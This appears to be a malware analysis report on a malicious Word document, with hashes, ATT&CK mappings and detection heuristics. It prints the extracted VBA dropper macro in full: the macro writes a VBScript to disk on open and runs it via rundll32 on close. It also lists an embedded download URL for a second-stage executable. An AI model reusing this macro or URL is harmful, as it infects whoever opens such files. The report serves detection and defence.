Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c40b9b561f305447…

MALICIOUS

Office (OLE)

92.5 KB Created: 2020-08-26 21:45:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 5db02af6a5cd50d440f764cea300b87c SHA-1: 9b93eb1139a92d816b7476156989d3b35f314274 SHA-256: c40b9b561f3054475f27423f8180c62543cdf12b3b0c1488f1b6b282b33536dd
210 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1105 Ingress Tool Transfer

The Document_Open macro attempts to create a folder and write a VBScript payload to 'c:\wordpress\about1.vbs'. The Document_Close macro then uses GetObject to execute this VBScript using 'rundll32 zipfldr.dll,RouteTheCall c:\wordpress\about1.vbs', which is likely to download and execute a second-stage payload from the embedded URL. The VBA macros and the use of GetObject for execution are strong indicators of malicious intent.

Heuristics 7

  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
    Set curw = GetObject(FieldWord1)
curw.create "rundll32 zipfldr.dll,RouteTheCall c:\wordpress\about1.vbs", Null, Null, 0
End Sub
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    FieldWord1 = FieldWord1 + FieldWord2 + FieldWord3 + FieldWord4 + FieldWord5
Set curw = GetObject(FieldWord1)
curw.create "rundll32 zipfldr.dll,RouteTheCall c:\wordpress\about1.vbs", Null, Null, 0
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
Set n = New FileSystemObject
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://btcxchange.online/fc4b1cbbb9d731f9a264cddf3971f0bc/windows/urgently.exe In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 962 bytes
SHA-256: a35a6c29e29a297a03ad35fe34655d93202d73701c53b2846a2c77a42809ec56
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True


Private Sub Document_Close()
Set FieldWord1 = ActiveDocument.Words(67)
Set FieldWord2 = ActiveDocument.Words(68)
Set FieldWord3 = ActiveDocument.Words(69)
Set FieldWord4 = ActiveDocument.Words(70)
Set FieldWord5 = ActiveDocument.Words(71)
FieldWord1 = FieldWord1 + FieldWord2 + FieldWord3 + FieldWord4 + FieldWord5
Set curw = GetObject(FieldWord1)
curw.create "rundll32 zipfldr.dll,RouteTheCall c:\wordpress\about1.vbs", Null, Null, 0
End Sub

Private Sub Document_Open()
Set n = New FileSystemObject
On Error Resume Next
n.CreateFolder "c:\..\wordpress"
Set s = n.CreateTextFile("c:\wordpress\about1.vbs")
s.WriteLine (Right(Range.Text, 13433))
End Sub

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